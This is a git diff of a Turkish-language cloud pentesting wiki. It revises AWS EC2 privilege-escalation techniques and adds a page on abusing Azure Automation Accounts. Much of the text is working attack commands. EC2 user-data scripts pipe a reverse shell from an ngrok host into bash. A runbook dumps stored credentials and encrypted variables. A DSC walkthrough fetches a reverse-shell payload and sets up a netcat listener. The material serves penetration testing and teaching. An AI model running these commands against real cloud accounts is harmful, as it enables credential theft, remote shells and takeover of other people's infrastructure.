diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 0ccfe7f1f..d10e182db 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -12,11 +12,11 @@ Daha fazla **EC2 hakkında bilgi** için kontrol edin: ### `iam:PassRole`, `ec2:RunInstances` -Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek** IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir. +Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.** - **SSH ile Erişim** -Yeni bir örnek başlatın ve **oluşturulmuş** **ssh anahtarını** kullanarak (`--key-name`) ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir). +Bir **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanarak yeni bir örnek başlatın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Kullanıcı verisinde rev shell ile erişim** -Yeni bir örnek çalıştırabilirsiniz, bu **kullanıcı verisi** (`--user-data`) size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur. +Yeni bir örnek çalıştırabilirsiniz, bu örnek **kullanıcı verisi** (`--user-data`) kullanarak size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -GuradDuty ile dikkatli olun, eğer IAM rolünün kimlik bilgilerini örneğin dışında kullanıyorsanız: +Dikkatli olun, eğer IAM rolünün kimlik bilgilerini örneğin dışında kullanıyorsanız: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -59,7 +59,7 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -Yeni EC2 örneğinde **ECS hizmetlerini çalıştırmayı zorlamak** için öğrenmek üzere kontrol edin: +ECS hizmetlerini bu yeni EC2 örneğinde **çalıştırmak için zorlamak** nasıl öğrenileceğini kontrol etmek için: {{#ref}} aws-ecs-privesc.md @@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan bir örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir: -- Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`) \* +- Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` @@ -90,25 +90,23 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir. +Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilir. -- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz** \* +- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz**. ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- veya **kullanılmış** örneğin **örnek profili** (`ec2:ReplaceIamInstanceProfileAssociation`) ile **değiştirin**. \* -```` +- veya **kullanılmış** örneğin **örnek profili**ni değiştirin (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` -**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir). +**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir). ### `ec2:RequestSpotInstances`,`iam:PassRole` -**`ec2:RequestSpotInstances`ve`iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 Rolü** ile bir **Spot Instance** **talep edebilir** ve **kullanıcı verisinde** bir **rev shell** ekleyebilir.\ +**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 rolü** ve **kullanıcı verisinde** bir **rev shell** ile bir **Spot Instance** **talep edebilir**.\ Örnek çalıştırıldığında, **IAM rolünü çalabilir**. ```bash REV=$(printf '#!/bin/bash @@ -121,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirebilir**, bu da örneğin **rastgele verileri çalıştırmasını** sağlar. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir. +**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirme** yeteneği vardır; bu da, örneğin **rastgele verileri çalıştırmasını** sağlayabileceği anlamına gelir. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir. -Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`**. +Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`** gereklidir. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Launch Template versiyonu** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ile varsayılan versiyonu değiştirebilir. **O Launch Template'i** kullanan **herhangi bir Autoscaler grubu**, **en son** veya **varsayılan versiyonu** kullanacak şekilde **yapılandırılmışsa**, o şablonu kullanarak **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır. +**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ile varsayılan sürümü değiştirebilir. **O şablonu** kullanan **herhangi bir Autoscaler grubu**, **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırılmış** olan **o Başlatma Şablonu** ile **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -178,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Olası Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme. +**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki artırma. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ve **rev shell** içeren bir **Launch Configuration** **oluşturabilir**, ardından bu yapılandırmadan **bir autoscaling grubu** **oluşturabilir** ve rev shell'in **IAM Rolünü çalmasını** bekleyebilir. +**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ile birlikte bir **Launch Configuration** oluşturabilir ve **kullanıcı verisi** içinde bir **rev shell** yerleştirebilir, ardından bu yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -217,7 +215,7 @@ aws ec2-instance-connect send-ssh-public-key \ ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **seri bağlantıya bir ssh anahtarı ekleyebilir**. Eğer seri etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır. +**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **bir seri bağlantıya ssh anahtarı ekleyebilir**. Eğer seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır. Seri porta bağlanmak için ayrıca **makine içindeki bir kullanıcının kullanıcı adı ve şifresini bilmeniz gerekir.** ```bash @@ -237,7 +235,7 @@ Bu yol, bunu istismar etmek için bir kullanıcı adı ve şifre bilmeniz gerekt ### `describe-launch-templates`,`describe-launch-template-versions` -Başlatma şablonları sürümleme içerdiğinden, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır: +Başlatma şablonları sürümlemeye sahip olduğundan, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -254,7 +252,7 @@ Yukarıdaki komutlarda, belirli desenleri (`aws_|password|token|api`) belirtmemi `aws_access_key_id` ve `aws_secret_access_key` bulursak, bu kimlik bilgilerini AWS'ye kimlik doğrulamak için kullanabiliriz. -**Olası Etki:** IAM kullanıcı(lar)ına doğrudan ayrıcalık yükseltme. +**Olası Etki:** IAM kullanıcı(lar)ına doğrudan yetki yükseltme. ## Referanslar diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..3836ab554 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +Daha fazla bilgi için kontrol edin: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +Özetle, bu izinler **Automation Account** içinde **Runbook'lar oluşturma, değiştirme ve çalıştırma** yetkisi verir; bu da **Automation Account** bağlamında **kod çalıştırma** ve atanan **Managed Identities** için ayrıcalıkları yükseltme, ayrıca **Automation Account** içinde saklanan **kimlik bilgilerini** ve **şifrelenmiş değişkenleri** sızdırma imkanı sağlar. + +İzin **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account içindeki bir Runbook'un kodunu değiştirmeye olanak tanır: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +Not edin ki önceki script, bir kimlik bilgisi için **kullanıcı adı ve şifreyi** ve Automation Account'ta saklanan bir **şifreli değişkenin** değerini **sızdırmak** için kullanılabilir. + +**`Microsoft.Automation/automationAccounts/runbooks/publish/action`** izni, kullanıcının Automation Account'ta bir Runbook yayınlamasına izin verir, böylece değişiklikler uygulanır: +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +İzin **`Microsoft.Automation/automationAccounts/jobs/write`** kullanıcının Automation Account içinde bir Runbook çalıştırmasına olanak tanır: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +İzin **`Microsoft.Automation/automationAccounts/jobs/output/read`** kullanıcının Automation Account'taki bir işin çıktısını okumasına olanak tanır: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +Eğer oluşturulmuş Runbook'lar yoksa veya yeni bir tane oluşturmak istiyorsanız, bunu yapmak için **izinlere `Microsoft.Resources/subscriptions/resourcegroups/read` ve `Microsoft.Automation/automationAccounts/runbooks/write`** ihtiyacınız olacak: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Bu izin, kullanıcının **Automation Account'a bir kullanıcı yönetilen kimliği atamasına** olanak tanır: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +**`Microsoft.Automation/automationAccounts/schedules/write`** izni ile, her 15 dakikada bir çalışan yeni bir Takvim oluşturmak mümkündür (çok gizli değil) aşağıdaki komut kullanılarak. + +Takvim için **minimum aralığın 15 dakika** olduğunu ve **minimum başlangıç zamanının 5 dakika** gelecekte olduğunu unutmayın. +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +Sonra, **`Microsoft.Automation/automationAccounts/jobSchedules/write`** izni ile bir runbook'a bir Zamanlayıcı atamak mümkündür: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> Önceki örnekte jobchedule id **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` örneği** olarak bırakıldı, ancak bu atamayı oluşturmak için keyfi bir değer kullanmanız gerekecek. + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +**`Microsoft.Automation/automationAccounts/webhooks/write`** izni ile bir Automation Account içindeki Runbook için yeni bir Webhook oluşturmak mümkündür. Aşağıdaki komutu kullanarak bunu yapabilirsiniz. + +Webhook URI'sini kullanmak için **belirtmeniz gerekecek**. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +Sadece `Microsoft.Automation/automationAccounts/runbooks/draft/write` izni ile **bir Runbook'un kodunu** yayımlamadan güncellemek ve aşağıdaki komutları kullanarak çalıştırmak mümkündür. +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +Bu izin, kullanıcının **Automation Account için bir kaynak kontrolü yapılandırmasına** olanak tanır ve aşağıdaki gibi komutlar kullanır (bu örnek olarak Github'ı kullanır): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +Bu, runbook'ları Github deposundan Automation Account'a otomatik olarak içe aktaracak ve bazı diğer izinlerle çalıştırmaya başlamak **yetkileri artırmak** mümkün olacaktır. + +Ayrıca, Automation Accounts'ta kaynak kontrolünün çalışabilmesi için yönetilen bir kimliğe sahip olması gerektiğini unutmayın; bu kimlik **`Contributor`** rolüne sahip olmalıdır ve eğer bu bir kullanıcı yönetilen kimlikse, **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkenine kullanılacak kullanıcı yönetilen kimliğinin **client id**'sini ayarlayarak da yapılandırılabilir. + +> [!TIP] +> Oluşturulduktan sonra bir kaynak kontrolünün repo URL'sini değiştirmenin mümkün olmadığını unutmayın. + +### Özel Çalışma Ortamları + +Eğer bir otomasyon hesabı özel bir çalışma ortamı kullanıyorsa, kötü niyetli bir kod (örneğin, **bir arka kapı**) ile çalışma ortamının özel bir paketini geçersiz kılmak mümkün olabilir. Bu şekilde, o özel çalışma ortamını kullanan bir runbook çalıştırıldığında ve özel paket yüklendiğinde, kötü niyetli kod çalıştırılacaktır. + +### Durum Yapılandırmasını Tehdit Etme + +**Tam gönderiyi kontrol edin:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- Adım 1 — Dosyaları Oluştur + +**Gerekli Dosyalar:** İki PowerShell betiği gereklidir: +1. `reverse_shell_config.ps1`: Yükü alıp çalıştıran bir Desired State Configuration (DSC) dosyası. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) adresinden temin edilebilir. +2. `push_reverse_shell_config.ps1`: Yapılandırmayı VM'ye yayınlamak için bir betik, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) adresinde mevcuttur. + +**Özelleştirme:** Bu dosyalardaki değişkenler ve parametreler, kullanıcıya özgü ortamına göre, kaynak adları, dosya yolları ve sunucu/yük tanımlayıcıları dahil olmak üzere özelleştirilmelidir. + +- Adım 2 — Yapılandırma Dosyasını Zip'le + +`reverse_shell_config.ps1` bir `.zip` dosyasına sıkıştırılır, böylece Azure Storage Account'a aktarım için hazır hale gelir. +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- Adım 3 — Depolama Bağlamını Ayarla ve Yükle + +Sıkıştırılmış yapılandırma dosyası, Azure'un Set-AzStorageBlobContent cmdlet'ini kullanarak önceden tanımlanmış Azure Storage konteyneri olan azure-pentest'e yüklenir. +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- Adım 4 — Kali Kutusunu Hazırlama + +Kali sunucusu, RevPS.ps1 yükünü bir GitHub deposundan indirir. +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +Hedef Windows VM ve ters shell için port belirtmek üzere script düzenlenir. + +- Adım 5 — Yapılandırma Dosyasını Yayınla + +Yapılandırma dosyası çalıştırılır ve sonuç olarak ters shell scripti belirtilen konuma Windows VM üzerinde dağıtılır. + +- Adım 6 — Payload'ı Barındır ve Dinleyici Kur + +Payload'ı barındırmak için bir Python SimpleHTTPServer başlatılır ve gelen bağlantıları yakalamak için bir Netcat dinleyicisi kurulur. +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +Zamanlanmış görev, yükü çalıştırarak SYSTEM düzeyinde ayrıcalıklar elde eder. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index 7878970f4..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -[Belgelerden:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation, Azure ve Azure dışı ortamlarınızda tutarlı yönetimi destekleyen bulut tabanlı bir otomasyon, işletim sistemi güncellemeleri ve yapılandırma hizmeti sunar. Süreç otomasyonu, yapılandırma yönetimi, güncelleme yönetimi, paylaşılan yetenekler ve heterojen özellikler içerir. - -Bunlar, **Azure ortamını** **yönetmek**, kontrol etmek ve yapılandırmak için şeyleri (hareketler veya hatta betikler) **çalıştırmanıza** izin veren Azure'daki "**zamanlanmış görevler**" gibidir. - -### Çalıştırma Hesabı - -**Çalıştırma Hesabı** kullanıldığında, kendinden imzalı bir sertifika ile bir Azure AD **uygulaması** oluşturur, bir **hizmet ilkesi** oluşturur ve **mevcut abonelikte** hesap için **Katkıda Bulunan** rolünü atar (birçok ayrıcalık).\ -Microsoft, Otomasyon Hesabı için bir **Yönetilen Kimlik** kullanmayı önerir. - -> [!WARNING] -> Bu, **30 Eylül 2023'te kaldırılacak ve Yönetilen Kimlikler için değiştirilecektir.** - -## Çalışma Kitapları ve Görevler - -**Çalışma kitapları**, **keyfi PowerShell** kodunu **çalıştırmanıza** olanak tanır. Bu, **ekli ilkenin** (varsa) izinlerini çalmak için bir **saldırgan tarafından kötüye kullanılabilir**.\ -**Çalışma kitaplarının** **kodunda** ayrıca **hassas bilgiler** (şifreler gibi) bulabilirsiniz. - -Eğer **görevleri** **okuyabiliyorsanız**, bunu yapın çünkü **çalışmanın** **çıktısını** **içerir** (potansiyel **hassas bilgiler**). - -`Otomasyon Hesapları` --> `` --> `Çalışma Kitapları/Görevler/Hibrit işçi grupları/Gözlemci görevleri/kimlik bilgileri/değişkenler/sertifikalar/bağlantılar` kısmına gidin. - -### Hibrit İşçi - -Bir Çalışma Kitabı, **Azure içindeki bir konteynerde** veya **Hibrit İşçi** (azure dışı makine) üzerinde çalıştırılabilir.\ -**Log Analytics Agent**, onu hibrit işçi olarak kaydetmek için VM'ye dağıtılır.\ -Hibrit işçi görevleri, Windows'ta **SİSTEM** ve Linux'ta **nxautomation** hesabı olarak çalışır.\ -Her Hibrit İşçi, bir **Hibrit İşçi Grubu** içinde kaydedilir. - -Bu nedenle, bir **Çalışma Kitabını** **Windows Hibrit İşçi** üzerinde çalıştırmayı seçerseniz, **Sistem** olarak bir dış makine içinde **keyfi komutlar** çalıştıracaksınız (güzel bir pivot tekniği). - -## Kompromi Durum Yapılandırması (SC) - -[Belgelerden:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **Durum Yapılandırması**, herhangi bir bulut veya yerel veri merkezindeki düğümler için PowerShell İstenen Durum Yapılandırması (DSC) [yapılandırmalarını](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) yazmanıza, yönetmenize ve derlemenize olanak tanıyan bir Azure yapılandırma yönetim hizmetidir. Hizmet ayrıca [DSC Kaynaklarını](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) içe aktarır ve yapılandırmaları hedef düğümlere atar, tüm bunlar bulutta gerçekleşir. Azure portalında **Yapılandırma Yönetimi** altında **Durum yapılandırması (DSC)** seçeneğini seçerek Azure Automation Durum Yapılandırmasına erişebilirsiniz. - -Bu yapılandırmalarda **hassas bilgiler** bulunabilir. - -### RCE - -Yönetilen makinelerde keyfi betikler çalıştırmak için SC'yi kötüye kullanmak mümkündür. - -{{#ref}} -az-state-configuration-rce.md -{{#endref}} - -## 